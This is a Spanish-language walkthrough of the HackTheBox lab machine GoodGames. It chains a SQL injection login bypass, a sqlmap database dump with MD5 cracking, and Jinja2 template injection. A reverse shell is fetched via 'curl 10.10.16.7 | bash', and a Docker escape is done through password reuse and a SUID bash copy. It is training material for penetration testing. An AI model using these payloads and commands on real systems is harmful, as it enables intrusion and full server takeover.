// 01
Resumen
GoodGames es una máquina de dificultad fácil de HackTheBox que corre Linux. Expone una aplicación web de tienda de videojuegos desarrollada con Python/Flask y un panel de administración interno basado en Flask Volt, ambos alojados en un contenedor Docker.
El ataque comienza con una SQL Injection en el formulario de login que permite acceder como administrador. Luego se usa sqlmap con una request de Burp Suite para dumpear la base de datos y extraer el hash MD5 del administrador, que se crackea con CrackStation obteniendo la contraseña superadministrator.
Con esas credenciales se accede al panel interno en
internal-administration.goodgames.htb, donde el
campo "Full Name" en Settings es vulnerable a
Server Side Template Injection (SSTI) con Jinja2. Esto permite
ejecutar comandos en el servidor — se sirve un reverse shell mediante
curl | bash obteniendo acceso como
root dentro del contenedor. Finalmente, se escapa del Docker hacia el host
real usando SSH + escalada SUID sobre el binario bash.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | nmap -p- -sSCV --min-rate=5000 | Puerto 80 abierto — Werkzeug httpd / Python |
| SQLi bypass | 1' or 1=1-- - en email | Acceso como admin (admin@goodgames.htb) |
| Dump DB | Burp Suite + sqlmap | Hash MD5: 2b22337f218b2d82dfc3b6f77e7cb8ec |
| Hash cracking | CrackStation (MD5) | Password: superadministrator |
| SSTI detección | {{7*7}} en campo Full Name | Resultado 49 → vulnerable Jinja2 |
| SSTI explotación | curl 10.10.16.7 | bash → nc | Reverse shell como root en Docker |
| Docker Escape | SSH + cp bash + chown + chmod SUID | ./bash -p → root en host |
// 02
Reconocimiento
Antes de escanear, se verifica que la máquina objetivo está activa con un ping de 3 paquetes. El TTL de respuesta (63) indica que es un sistema Linux (los sistemas Linux suelen tener TTL inicial de 64, que llega a 63 tras un salto de red).
Se lanza un escaneo completo de todos los puertos TCP contra el objetivo. Las flags -sSCV activan el SYN scan sigiloso, detección de versión y scripts NSE. El resultado se exporta como XML con -oX para convertirlo luego a HTML con xsltproc.
// ANÁLISIS DEL SCAN
Nmap revela un único puerto abierto: el 80/tcp (HTTP) corriendo Werkzeug 2.0.2 con Python 3.9.2 — lo que indica una aplicación web Flask. El título HTTP confirma el sitio GoodGames. Al no haber SSH ni otros servicios expuestos, el vector de ataque es exclusivamente web.
Al acceder a http://10.129.1.192 se visualiza la plataforma GoodGames, una tienda y comunidad de videojuegos. El sitio tiene secciones de Blog y Store, y en la esquina superior derecha un ícono de login. Se navega al formulario de registro/login para explorar posibles vectores de ataque.
// 03
SQL Injection — Bypass de Login
En el formulario de login se prueba el payload de
SQL Injection clásico en el campo de email:
1' or 1=1-- -.
Este payload cierra la cadena SQL con la comilla simple, añade una condición siempre
verdadera (1=1) y comenta el resto de la query
con -- -. Como resultado, el servidor devuelve
el primer usuario de la tabla, que corresponde al administrador.
// ACCESO COMO ADMINISTRADOR CONFIRMADO
El bypass SQLi funciona y el servidor autentica al primer usuario de la base de datos: admin con email admin@goodgames.htb. Se accede al perfil de administrador donde se observa el Nick, email y fecha de unión. La aplicación no sanitiza los inputs del formulario de login — vulnerabilidad crítica.
Para poder interceptar un request legítimo con Burp Suite, se crea una
cuenta de prueba con credenciales conocidas. Esto permitirá capturar la request POST del
login y guardarla en request.txt para
usar con sqlmap.
// 04
sqlmap — Dump de Base de Datos
Se configura Burp Suite como proxy y se realiza un login con la cuenta de
prueba. La request POST al endpoint /login es
interceptada y guardada en un archivo request.txt. Esta request
contiene todos los headers necesarios que sqlmap utilizará para autenticarse y ejecutar las
inyecciones.
// HASH MD5 EXTRAÍDO
El campo password del administrador contiene un hash MD5 de 32 caracteres. MD5 es un algoritmo de hashing débil que no usa salt, lo que facilita el crackeo mediante tablas rainbow o diccionarios online.
Se utiliza CrackStation (https://crackstation.net/)
para crackear el hash MD5. CrackStation es una herramienta online que usa tablas
rainbow precalculadas con miles de millones de hashes. El hash
2b22337f218b2d82dfc3b6f77e7cb8ec es identificado
inmediatamente como MD5 y el resultado es la contraseña en texto claro.
// CONTRASEÑA OBTENIDA
Credenciales del administrador: admin@goodgames.htb / superadministrator. Esta contraseña también se reutiliza en SSH del host real, lo que demuestra el peligro del password reuse.
// 05
SSTI — Flask Volt Admin Panel
En el perfil de administrador de GoodGames se observa un ícono de tuerca (settings) que
redirige al dominio internal-administration.goodgames.htb.
Para que el navegador resuelva este dominio, se agrega la entrada al archivo
/etc/hosts.
Al navegar a http://internal-administration.goodgames.htb/login
se presenta el panel Flask Volt — un dashboard de administración
open-source basado en Flask. Se ingresa con las credenciales del administrador:
admin /
superadministrator.
En la sección Settings del panel se observa que el campo
Full Name refleja el input directamente en el perfil. Se prueba el
payload de detección de SSTI más básico para Jinja2:
{{7*7}}. Si el motor de plantillas evalúa
la expresión en lugar de mostrarla como texto, el resultado debería ser 49.
// SSTI JINJA2 CONFIRMADO
El resultado 49 confirma que la aplicación evalúa expresiones Jinja2 sin
sanitizar. La función render_template_string() de Flask está procesando el
input del usuario directamente — esto permite ejecutar código Python arbitrario en el servidor.
Se utiliza el payload SSTI de PayloadsAllTheThings para Jinja2 que llama a
os.popen() y ejecuta un comando del sistema.
Se prueba hostname -I para verificar la
dirección IP del servidor.
// DENTRO DE UN CONTENEDOR DOCKER
La IP 172.19.0.2 pertenece a una red Docker interna — confirma que el servidor web corre dentro de un contenedor Docker. El host real estará en 172.19.0.1 (el gateway de la red Docker).
// 06
Reverse Shell — Acceso al Contenedor
Se crea un archivo index.html con el payload de reverse shell en bash. Este archivo se servirá desde nuestra máquina y será descargado y ejecutado por el servidor víctima mediante el SSTI.
Se levanta un servidor HTTP con Python3 para servir el archivo
index.html en el puerto 80. El servidor víctima
lo descargará mediante curl y lo pasará
directamente a bash.
Primero se verifica la conectividad con un curl 10.10.16.7
que descarga el index.html (Paso 24 en el PDF). Confirmada la conexión, se ejecuta
el payload final que descarga y ejecuta el reverse shell en un solo comando:
curl 10.10.16.7 | bash.
// SHELL COMO ROOT — DENTRO DEL DOCKER
Se obtiene una shell como root dentro del contenedor Docker (hostname 3a453ab39d3d). Se puede navegar por el sistema de archivos del contenedor, pero hay que escapar hacia el host real para obtener las flags.
// 07
Docker Escape — Escalada al Host
Se estabiliza la shell con script /dev/null -c bash.
Luego se determina la IP del host real usando route -n,
que muestra el gateway de la red Docker: 172.19.0.1. Se intenta SSH
al host con el usuario augustus reutilizando la contraseña
superadministrator — y funciona.
// PASSWORD REUSE — VECTOR CRÍTICO
La contraseña superadministrator extraída del hash MD5 de la base de datos web también es la contraseña SSH del usuario augustus en el host real. Este es el peligro del password reuse: una sola credencial comprometida da acceso a múltiples sistemas.
Estando en el Docker como root, el directorio /home/augustus
del contenedor es el mismo que el del host (volumen montado). Se copia
/bin/bash al directorio home del usuario.
Luego, desde la sesión SSH en el host (como augustus), se vuelve al contenedor Docker
donde somos root para modificar los permisos del binario copiado.
Desde el Docker (somos root), se cambia el propietario del binario
bash copiado a
root:root y se le asigna el bit SUID
con chmod 4755. El bit SUID hace que el
binario se ejecute con los privilegios del propietario (root) independientemente de
quién lo lance.
Desde la sesión SSH como augustus en el host real, se ejecuta el
binario bash SUID con la flag -p (privileged mode),
que preserva el UID efectivo del propietario del archivo (root) sin hacer drop de
privilegios. Obtenemos una shell como root en el host.
// 08
Flags
// 09
Referencia de Comandos
- -p- → Todos los 65,535 puertos
- -sS → SYN scan (sigiloso)
- -sC → Scripts NSE por defecto
- -sV → Detección de versión
- --min-rate=5000 → Mínimo 5000 paquetes/seg
- -oX → Salida en formato XML
- -r request.txt → Request HTTP capturada
- --dbs → Listar bases de datos
- -D main --tables → Listar tablas
- -T user -C name,pass --dump → Extraer columnas
- --batch → Respuesta automática sin prompts
- {{7*7}} → Detección básica (→ 49)
- hostname -I → Verificar IP del servidor
- curl IP | bash → Ejecutar reverse shell
- PayloadsAllTheThings → Repositorio de payloads
- cp /bin/bash . → Copiar bash al home montado
- chown root:root → Propietario root (desde Docker)
- chmod 4755 → Asignar bit SUID
- ./bash -p → Ejecutar en modo privilegiado
- route -n → Identificar IP del host (gateway)
// 10
Glosario
1' or 1=1-- - cierra la cadena de texto con la comilla simple, añade una condición siempre verdadera y comenta el resto de la query, haciendo que el servidor autentique al primer usuario de la tabla sin verificar la contraseña.-r request.txt permite usar una request HTTP completa capturada con Burp Suite, incluyendo todos los headers y cookies necesarios para la autenticación.render_template_string() es especialmente peligrosa si recibe input del usuario directamente, ya que Jinja2 puede acceder a objetos Python internos y ejecutar código arbitrario. La detección se hace con {{7*7}} — si responde 49, la aplicación evalúa la expresión.{{ }} y estructuras de control entre {% %}. En condiciones normales, Jinja2 sanitiza el contexto de ejecución, pero cuando se usa render_template_string() con input no sanitizado, un atacante puede traversar la jerarquía de objetos Python para alcanzar módulos del sistema operativo como os.popen() y ejecutar comandos arbitrarios.chmod 4755), cualquier usuario del sistema puede ejecutarlo con privilegios de root. Esto es un vector clásico de escalada de privilegios. La flag -p de bash activa el "privileged mode" que no descarta el UID efectivo heredado del SUID.Werkzeug httpd 2.0.2 Python/3.9.2). Flask es ligero y flexible pero no incluye protecciones de seguridad automáticas — el desarrollador es responsable de sanitizar inputs, manejar correctamente las plantillas y configurar la autenticación. La falta de estas protecciones en GoodGames resulta en las vulnerabilidades SQLi y SSTI.nc -nlvp 443) y cuando el exploit se ejecuta (en este caso via SSTI), la víctima establece la conexión. La técnica curl IP | bash permite descargar y ejecutar el payload en un solo paso sin escribir archivos en el sistema víctima primero, lo que dificulta la detección.